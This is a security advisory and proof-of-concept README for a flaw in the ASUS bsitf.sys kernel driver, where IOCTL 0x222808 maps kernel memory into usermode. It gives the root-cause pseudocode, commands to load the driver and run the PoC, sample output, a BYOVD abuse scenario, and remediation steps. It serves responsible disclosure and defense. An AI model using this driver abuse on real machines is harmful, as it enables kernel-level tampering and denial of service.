POC - ASUS bsitf.sys Kernel Memory Mapping to Usermode

CVE-2026-13585

Summary

The ASUS bsitf.sys (also distributed as AsusBSItf.sys) kernel driver exposes IOCTL 0x222808 which allocates physically contiguous kernel memory of attacker-controlled size, maps it into the calling process's address space with full read/write permissions, and returns both the usermode virtual address and the physical address to the caller.

The device requires administrator privileges to open, making this an admin-to-kernel escalation. In a BYOVD (Bring Your Own Vulnerable Driver) scenario, an attacker who already has admin (e.g., via social engineering or a separate exploit) can load this legitimately signed driver to gain arbitrary kernel memory access without needing a kernel exploit.

Affected Versions

All versions create device \Device\bsitf with symlink \DosDevices\bsitf.

Impact

The mapped buffer is a fresh kernel pool allocation, not an arbitrary kernel address. The caller controls its contents but not its location. This limits exploitation compared to a true arbitrary kernel R/W.

• Kernel pool exhaustion (DoS) — repeated allocations without freeing will exhaust NonPagedPool, causing BSOD. No size cap or allocation limit is enforced.
• Physical address disclosure — the IOCTL returns the physical address of every allocation, useful as an info leak or for DMA-based attacks.
• Executable kernel memory staging (v3.0.x only) — on version 3.0.10.0, the pool type is NonPagedPool (executable). Shellcode can be written from usermode into the mapped buffer, but a separate vulnerability is required to redirect kernel execution to the buffer address.

On v3.1.x versions (NonPagedPoolNx), the buffer is non-executable and the practical impact is limited to DoS and physical address disclosure.

Root Cause

IOCTL 0x222808 in the dispatch handler performs the following with no input validation:

alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer;  // user-controlled

kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);

output[0] = user_va;        // usermode virtual address
output[1] = physical_addr;  // physical address of allocation

No checks on allocation size, outstanding allocation count, or input validation. The device requires admin to open, but once a handle is acquired, IOCTLs are unrestricted.

Proof of Concept

Build

cargo build --release

Load the driver

sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf

Run

# default: 0x1000 (4KB) allocation
cargo run --release

# custom size (hex)
cargo run --release -- 10000

Expected output

[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000

[+] device handle acquired

[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
    usermode VA:     0x000001D856F90000
    physical addr:   0x00000000BF6CB000

[*] original contents (first 16 bytes):
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED

[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully

Tested on Windows 11 24H2 (requires administrator).

Remediation

1. Validate allocation size with a reasonable upper bound
2. Limit the number of outstanding allocations per handle
3. Do not map kernel allocations into usermode address space
4. Do not return physical addresses to usermode callers
5. Use NonPagedPoolNx on all versions

Timeline

References

• CWE-782: Exposed IOCTL with Insufficient Access Control
• Device: \Device\bsitf, Symlink: \DosDevices\bsitf
• Dispatch handler: FUN_140001070

Disclaimer

This proof of concept is provided for authorized security research and responsible disclosure purposes only. Do not use this against systems you do not own or have explicit permission to test.